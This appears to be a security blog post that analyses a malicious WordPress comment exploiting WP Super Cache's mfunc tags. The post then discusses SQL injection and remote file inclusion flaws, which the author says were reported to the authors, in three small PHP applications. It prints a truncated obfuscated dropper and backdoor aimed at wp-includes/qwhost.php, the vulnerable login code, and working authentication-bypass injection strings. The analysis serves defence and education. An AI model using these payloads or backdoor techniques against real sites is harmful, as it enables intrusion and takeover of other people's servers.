Malicious PHP snippet from a WordPress comment

I received a spam comment on a WordPress instance that stood out from the crowd.

<!--mfunc eval(base64_decode("IGVycm9yX3JlcG9ydGluZygwKTsgJGZpbGUgPSBkaXJuYW1lKCRfU0VSV
EWXR2UGVlMDA5ZEl... you get the idea ... )); --><!--/mfunc-->

How can I not investigate this? It’s clearly malicious. I wasn’t sure what this mfunc business was, so I looked it up.

WP Super Cache is a full page caching plugin for WordPress.

Unfortunately it was reported recently that remote visitors to sites using the plugin could execute any code they like by simply leaving a comment containing the right mfunc code.


Cool. I’m not using WP Super Cache on this particular site, so bullet dodged there. I still wanted to see what the deal was with this code though. I manually executed the base64_decode (no, not with the eval!) and got this.

$file = dirname($_SERVER['SCRIPT_FILENAME']) . '/' . 'wp-includes/qwhost.php'; 
$src = '<?php eval(gzinflate(base64_decode("DZZHDqwIEkTv0qv/xQIovEa9wHtXeDYtvPee009dIJX5FB... yeah more of this ... Cbyyu1txOSxZtXwSNTvMO1d1JuzCHsVdjwr534ek0DFSSeQXkmNVMhLNMB1rr79KCJIAAIIgUYKX/u8/f//+/d//AQ=="))); ?>'; 
$mtime = filemtime(dirname($file));
$fh = fopen($file, 'w'); 
fwrite($fh, $src); fclose($fh); 
@touch($file, $mtime, $mtime); 
@touch(dirname($file), $mtime, $mtime);

I tried to decrypt the big ol string a few more times and realized that this encoding inception goes way more than 3 levels deep. Luckily, there is a badass tool made specifically to help out in situations like this.

Enter PHP Decoder!

It decrypts strings until it gets something useful. After pasting in the above snippet, PHP Decoder will perform 28 inceptions and give you this. (comments mine)

@error_reporting(0); // rooting boxes, be vewy vewy quiet
@ini_set("display_errors", 0);
@ini_set("log_errors", 0);
@ini_set("error_log", 0);
if (isset($_GET['r'])) { 
    // echo back the 'r' url param. Easy way to check if exploit was installed.
    print $_GET['r'];
} elseif (isset($_POST['e'])) {
    // execute obfuscated payload code
} elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') {
    // I believe this is equivalent to the above clause which reads post data
    $data = file_get_contents('php://input');
    if (strlen($data) > 0)
        print 'STATUS-IMPORT-OK';
    if (strlen($data) > 12) {
        $fp = @fopen('tmpfile', 'a');
        @flock($fp, LOCK_EX);
        @fputs($fp, $_SERVER['REMOTE_ADDR'] . "\t" . base64_encode($data) . "\r\n");
        @flock($fp, LOCK_UN);
He doesn't want anyone to see what he's about to do.
“He doesn’t want anyone to see what he’s about to do.”

The code very quietly opens a backdoor and listens at `/wp-includes/qwhost.php` for arbitrary PHP code to execute.

So, am I infected? Luckily the author made it very easy to check. Hit `/wp-includes/qwhost.php?r=test` in your browser. If you see “test” then you’ve been owned.

What’s clever about the wp-includes path is that virtually all WordPress instances have /wp-includes blacklisted in their robots.txt files. You can’t find all the infected blogs on Google with the “inurl:” trick so only the attacker has the complete list.

Finding 0-day Vulnerabilities in the Ghetto

The woeful security practices of many open source PHP applications constitute a hallmark of the so-called ghetto. I know because I’ve introduced a handful of embarrassing security holes in past open source contributions. These simple mistakes are symptoms highlightling the conditions conducive to large amounts of unknown vulnerabilities.

I conjecture that small PHP applications are the easiest target. Here’s why:

1. Low barrier to entry
When people encourage budding programmers to cut their teeth by working on open source projects, many of them flock to PHP because it’s easy to build useful applications quickly. This is not necessarily bad. I had a blast learning PHP and it definitely contributed to my general interest in software. Just remember that the last web app you downloaded from sourceforge was likely written by a 16 year old with a copy of PHP in 24 hours. Kenny Katzgrau crystallizes this point in a discussion of PHP’s past shortcomings:

In it’s pizza-faced adolescent years (pre-5.0), PHP gained a serious following among novices. The language has a fantastically low barrier to entry, so anyone could get started in 2 minutes by downloading some self-extracting *AMP stack for Windows. […] What do you get when you mix n00bs and a lack of best practices? Unmaintainable garbage. And that’s what proliferated.

2. Lack of oversight

Given enough eyeballs, all bugs are shallow.
–Linus’ Law

The small number of people contributing to little PHP projects fails to satisfy the “eyeballs” supposition in this popular open source trope. There simply aren’t enough people looking at small projects to find even the simplest security problems. Given that general bugs are inevitable, the inexperienced nature of many developers compounds the likelihood that serious security flaws will arise and go undetected.

Consider a small two person project. Neither person really cares enough to personally audit the code. Maybe it’s on someone’s to-do list, but not before adding fun new features or doing laundry. So where does the buck stop? Certainly not with the user. An individual might contribute a bug fix if it causes a visible problem in the software system, but even that’s optimistic. Remember, this is a small project in the realm of 10k lifetime downloads. So the job will likely get picked up by two groups: altruistic security folk who disclose vulnerabilities responsibly and… hacker hackers.

“The passwords are stored as plaintext!”

Realistically, the white hat security researchers are far less likely to find these holes than their nefarious counterparts. They tend to focus their efforts on larger projects. It’s far more glamorous to find a bug in a big project, say WordPress, or the Linux kernel. To be fair, black hats have a financial incentive to find bugs in large projects, but given the extreme low quality of code in smaller projects, it’s probably a better time trade off to target the little ones.

So these conditions leave the open source community with an abundance of poorly written projects that are only seriously audited by blackhats. Perfect storm much?

Below I highlight vulnerabilities in three small open source applications. When this post was written all vulnerabilities were unknown. The authors were contacted a few weeks ago and said they would fix the problems ASAP. Let’s stroll through the ghetto.

Movie recommendation website

Vulnerability type: SQL Injection
Vulnerable pages: login.php, userSearch.php
The login page only asks for a username. Let’s call it half-factor authentication.

$query = "SELECT * FROM users WHERE username= \"$name\"";
	foreach ($db->query($query) as $row)

	if ($counter==1){
		$_SESSION['username'] =$name;
		print "Session registered for $name";
	elseif ($counter==0){
		print "No username found for $name.";

	elseif ($counter>1){
		print "That's weird, more than one account was found.";

If we know someone’s username, we’re already golden. Otherwise, we need to get the SQL query to return exactly one row. That’s easy enough with the following username parameter:
" OR "1"="1" LIMIT 1 ;

Gisbee CMS

Vulnerability type: SQL injection
Vulnerable files: beeback 1.0.0/includes/connect.php
This new CMS doesn’t sanitize inputs from the main login form on its home page.

if (isset($_POST['login'])){
	$login = $_POST['login'];
	$pass = md5($_POST['pass']);
	$verif_query = sprintf("SELECT * FROM user WHERE email='$login' AND password='$pass'");
	$verif = mysql_query($verif_query, $db) or die(mysql_error());
	$row_verif = mysql_fetch_assoc($verif);
	$user = mysql_num_rows($verif);

	if ($user) {
		$_SESSION['role'] = $row_verif['usertype'];
		$_SESSION['lastname'] = $row_verif['lastname'];
		$_SESSION['firstname'] = $row_verif['firstname'];
		$_SESSION['email'] = $row_verif['email'];
		$_GET['signstep'] = "failed";

If magic quotes are off, we can login with the following username:
1' OR '1'='1'#

reciphp: An open source recipe cms script.

Vulnerability type: Remote file inclusion
Vulnerable files: index.php

if (!isset($_REQUEST['content']))
                   $content = $_REQUEST['content'];
                   $nextpage = $content . ".inc.php";

If the server’s allow_url_include() option is set, then we can include malicious remote code by crafting the url:

To be fair to the PHP community, the ghetto has shrunk. But there is a vast divide between the gentrified segment, people who read programming blogs and know why frameworks are good (or bad), and everyone else. I don’t believe there is a complete technical solution, although conservative default settings in php.ini certainly help stave off a fair amount of attacks. The onus is on the community to bring the less fortunate up to speed. If you know a blossoming PHP programmer, take five minutes to explain SQL injection and remote file inclusion. You’ll save someone a lot of trouble.